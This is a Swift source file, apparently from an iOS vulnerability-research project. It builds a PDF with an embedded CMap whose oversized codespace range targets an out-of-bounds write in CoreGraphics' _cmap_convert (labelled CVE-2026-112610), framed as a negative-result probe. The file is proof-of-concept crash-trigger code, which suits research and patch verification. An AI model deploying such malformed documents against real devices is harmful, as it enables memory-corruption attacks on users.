Files

101 lines
4.8 KiB
Swift

// cg.cmap · CoreGraphics · _cmap_convert · CVE-2026-112610
// 原语: OOB 写 · 进程内 · tier 3
// Primitive: OOB write · in-process · tier 3
//
// [zh] CMap /UseCMap 递归越界写(负结果探针)
// _cmap_convert 在递归时把外层的 codespace 长度(最大 255)传入仅容纳单个结果的输出槽(2 字节 code / 8 字节 len)。27.2 增加 min(L,4)
// 钳制并重排输出槽布局。
//
// [en] CMap /UseCMap recursion out-of-bounds write (negative-result probe)
// _cmap_convert passes the outer codespace length (up to 255) into an output slot sized for a single
// result (2-byte code / 8-byte len) when it recurses. iOS 27.2 adds a min(L,4) clamp and re-lays
// out the output slots.
// ── 判别 / oracle ──
// 源分析中,内嵌 CMap 这一载体被三条相互独立的可达性阻断否定。本模块的价值在于将负结果同样留档:若该构建上出现崩溃,说明载体已被重新打通,结论需随之修正。
import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
static func be32(_ v: UInt32) -> [UInt8] {
[UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
}
static func le32(_ v: UInt32) -> [UInt8] {
[UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
}
static func be64(_ v: UInt64) -> [UInt8] {
(0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
}
static func le64(_ v: UInt64) -> [UInt8] {
(0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
}
static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
}
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (PDFPayload) ──
enum PDFPayload {
struct PDFBuilder {
private var objects: [Int: (dict: String, stream: [UInt8]?)] = [:]
mutating func add(_ n: Int, _ dict: String, _ stream: [UInt8]? = nil) {
objects[n] = (dict, stream)
}
func data() -> Data {
var out = Data("%PDF-1.7\n%\u{e2}\u{e3}\u{cf}\u{d3}\n".utf8)
var offsets: [Int: Int] = [:]
for n in objects.keys.sorted() {
guard let obj = objects[n] else { continue }
offsets[n] = out.count
out.append(Data("\(n) 0 obj\n".utf8))
out.append(Data(obj.dict.utf8))
if let stream = obj.stream {
out.append(Data("\nstream\n".utf8))
out.append(Data(stream))
out.append(Data("\nendstream".utf8))
}
out.append(Data("\nendobj\n".utf8))
}
let xrefPos = out.count
let maxObj = objects.keys.max() ?? 0
out.append(Data("xref\n0 \(maxObj + 1)\n0000000000 65535 f \n".utf8))
for n in 1...max(maxObj, 1) {
let off = offsets[n] ?? 0
out.append(Data(String(format: "%010d 00000 n \n", off).utf8))
}
out.append(Data("trailer\n<< /Size \(maxObj + 1) /Root 1 0 R >>\nstartxref\n\(xrefPos)\n%%EOF\n".utf8))
return out
}
}
static func cmapProbe(codespaceLength: Int = 128) -> Data {
var cmap = ""
cmap += "%!PS-Adobe-3.0 Resource-CMap\n"
cmap += "/CIDInit /ProcSet findresource begin\n12 dict begin begincmap\n"
cmap += "/CMapName /Cinder def\n/CMapType 1 def\n/WMode 0 def\n"
cmap += "1 begincodespacerange\n"
cmap += "<\(String(repeating: "0", count: 2))> <\(String(repeating: "F", count: max(2, codespaceLength)))>\n"
cmap += "endcodespacerange\n"
cmap += "1 begincidrange\n<00> <FF> 0\nendcidrange\n"
cmap += "endcmap CMapName currentdict /CMap defineresource pop end end\n"
let cmapBytes = B.ascii(cmap)
var pdf = PDFBuilder()
pdf.add(1, "<< /Type /Catalog /Pages 2 0 R >>")
pdf.add(2, "<< /Type /Pages /Kids [3 0 R] /Count 1 >>")
pdf.add(3, "<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] /Resources << /Font << /F1 5 0 R >> >> /Contents 4 0 R >>")
pdf.add(4, "<< /Length 30 >>", B.ascii("BT /F1 12 Tf 10 100 Td <0041> Tj ET"))
pdf.add(5, "<< /Type /Font /Subtype /Type0 /BaseFont /Cinder /Encoding 6 0 R /DescendantFonts [7 0 R] >>")
pdf.add(6, "<< /Type /CMap /CMapName /Cinder /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity) /Supplement 0 >> /Length \(cmapBytes.count) >>", cmapBytes)
pdf.add(7, "<< /Type /Font /Subtype /CIDFontType2 /BaseFont /Cinder /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity) /Supplement 0 >> /DW 500 >>")
return pdf.data()
}
}